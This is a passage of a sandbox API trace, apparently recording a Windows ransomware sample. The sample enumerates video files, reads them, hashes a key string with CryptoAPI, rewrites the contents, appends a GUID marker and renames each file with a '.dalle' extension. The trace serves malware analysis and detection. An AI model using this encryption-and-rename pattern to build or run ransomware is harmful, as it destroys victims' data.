hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x1a86, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x1a86, lpOverlapped=0x0) returned 1 [0121.554] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.554] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1a8b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.554] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.554] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.554] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0121.554] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.554] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0121.554] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.554] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.554] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.554] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.554] CloseHandle (hObject=0x618) returned 1 [0121.555] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x2ffff40 [0121.555] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8a0) returned 0x3096780 [0121.555] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ffff40 | out: hHeap=0x5e0000) returned 1 [0121.555] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\OQ3V ylmHyu5rZMlP.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jdcugcvpf1uari\\oq3v ylmhyu5rzmlp.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\OQ3V ylmHyu5rZMlP.avi.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jdcugcvpf1uari\\oq3v ylmhyu5rzmlp.avi.dalle")) returned 1 [0121.555] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.555] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.556] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f7e028 | out: hHeap=0x5e0000) returned 1 [0121.556] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7a25cc0, ftCreationTime.dwHighDateTime=0x1d4c660, ftLastAccessTime.dwLowDateTime=0xa916c1e0, ftLastAccessTime.dwHighDateTime=0x1d4c6dd, ftLastWriteTime.dwLowDateTime=0xa916c1e0, ftLastWriteTime.dwHighDateTime=0x1d4c6dd, nFileSizeHigh=0x0, nFileSizeLow=0x148a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pUMjEQU7g4.mkv", cAlternateFileName="PUMJEQ~1.MKV")) returned 1 [0121.556] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.557] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa6) returned 0x2f7e028 [0121.557] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.557] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\pUMjEQU7g4.mkv") returned=".mkv" [0121.557] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\pUMjEQU7g4.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jdcugcvpf1uari\\pumjequ7g4.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.557] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=84128) returned 1 [0121.557] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.559] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1487a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.559] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.560] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.560] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.560] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.560] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x148a0, lpOverlapped=0x0) returned 1 [0121.561] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.561] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.561] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.561] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.561] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0121.562] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.562] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.562] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.562] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.562] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.562] GetLastError () returned 0x0 [0121.562] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.562] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0121.562] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.562] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x148a0) returned 0x3096780 [0121.563] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.563] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.563] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x1489b, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x1489b, lpOverlapped=0x0) returned 1 [0121.563] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.563] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x148a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.563] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.563] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.563] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0121.563] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.563] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0121.563] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.564] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.564] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.564] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.564] CloseHandle (hObject=0x618) returned 1 [0121.565] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f61740 [0121.565] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8a0) returned 0x3096780 [0121.565] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0121.565] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\pUMjEQU7g4.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jdcugcvpf1uari\\pumjequ7g4.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\pUMjEQU7g4.mkv.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jdcugcvpf1uari\\pumjequ7g4.mkv.dalle")) returned 1 [0121.566] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.566] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.567] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f7e028 | out: hHeap=0x5e0000) returned 1 [0121.567] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4eb7c3f0, ftCreationTime.dwHighDateTime=0x1d4cd79, ftLastAccessTime.dwLowDateTime=0x3315b190, ftLastAccessTime.dwHighDateTime=0x1d4d457, ftLastWriteTime.dwLowDateTime=0x3315b190, ftLastWriteTime.dwHighDateTime=0x1d4d457, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zr0w9NBOX", cAlternateFileName="ZR0W9N~1")) returned 1 [0121.567] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.567] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c1160 [0121.567] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0e30 [0121.567] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c1160 | out: hHeap=0x5e0000) returned 1 [0121.567] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.567] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4eb7c3f0, ftCreationTime.dwHighDateTime=0x1d4cd79, ftLastAccessTime.dwLowDateTime=0x3315b190, ftLastAccessTime.dwHighDateTime=0x1d4d457, ftLastWriteTime.dwLowDateTime=0x3315b190, ftLastWriteTime.dwHighDateTime=0x1d4d457, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zr0w9NBOX", cAlternateFileName="ZR0W9N~1")) returned 0 [0121.567] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.567] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0121.567] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30186c8 | out: hHeap=0x5e0000) returned 1 [0121.567] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.567] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.567] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.567] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.567] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.567] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.567] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.567] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.567] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.567] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.567] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.567] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.567] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.567] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.567] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.567] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.567] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0121.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.568] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.568] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.569] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.569] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.569] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.569] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.569] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.569] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.569] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.569] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.569] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.569] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.569] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.569] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.569] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.569] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.569] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.569] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.569] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.569] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.569] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.569] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.569] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.569] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.569] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.569] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.569] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.569] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.569] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.569] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.569] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.569] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.569] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.570] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.570] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.570] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.570] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.570] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.570] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.570] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.570] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.570] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.570] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.570] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.570] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.570] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.570] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.570] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.570] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.570] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.570] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.570] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.570] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.570] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.570] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.570] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.570] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.570] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.570] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.570] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.570] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0121.570] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.570] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.571] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.571] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.571] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.571] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.571] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.571] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.571] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.571] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.571] 